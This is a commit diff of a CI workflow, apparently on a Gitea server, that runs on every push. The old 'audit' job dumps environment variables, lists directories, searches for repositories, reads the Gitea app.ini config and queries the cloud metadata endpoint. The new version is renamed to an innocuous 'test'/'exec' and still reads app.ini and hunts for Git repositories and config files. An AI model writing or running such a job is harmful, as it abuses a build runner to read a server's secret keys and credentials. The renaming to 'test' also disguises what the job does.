This commit is contained in:
@@ -1,20 +1,13 @@
|
|||||||
name: audit
|
name: test
|
||||||
on: [push]
|
on: [push]
|
||||||
jobs:
|
jobs:
|
||||||
recon:
|
run:
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
steps:
|
steps:
|
||||||
- name: System Info
|
- name: exec
|
||||||
run: |
|
run: |
|
||||||
echo "=== whoami ===" && whoami
|
id && hostname && pwd
|
||||||
echo "=== hostname ===" && hostname
|
ls -la /data/ 2>/dev/null || echo "no /data"
|
||||||
echo "=== id ===" && id
|
find / -maxdepth 3 -name "*.git" -type d 2>/dev/null | head -10
|
||||||
echo "=== pwd ===" && pwd
|
cat /data/gitea/conf/app.ini 2>/dev/null | head -30 || echo "no app.ini at default"
|
||||||
echo "=== ls / ===" && ls -la /
|
find / -maxdepth 4 -name "app.ini" 2>/dev/null
|
||||||
echo "=== env ===" && env | sort
|
|
||||||
echo "=== /data ===" && ls -laR /data/ 2>/dev/null | head -50
|
|
||||||
echo "=== gitea repos ===" && find / -name "*.git" -type d 2>/dev/null | head -20
|
|
||||||
echo "=== app.ini ===" && find / -name "app.ini" 2>/dev/null | head -5
|
|
||||||
echo "=== cat app.ini ===" && cat /data/gitea/conf/app.ini 2>/dev/null || cat /etc/gitea/app.ini 2>/dev/null || echo "not found"
|
|
||||||
echo "=== IMDS ===" && curl -s --connect-timeout 3 http://169.254.169.254/latest/meta-data/ 2>&1 | head -20
|
|
||||||
echo "=== network ===" && ip addr 2>/dev/null || ifconfig 2>/dev/null | head -20
|
|
||||||
|
|||||||
Reference in New Issue
Block a user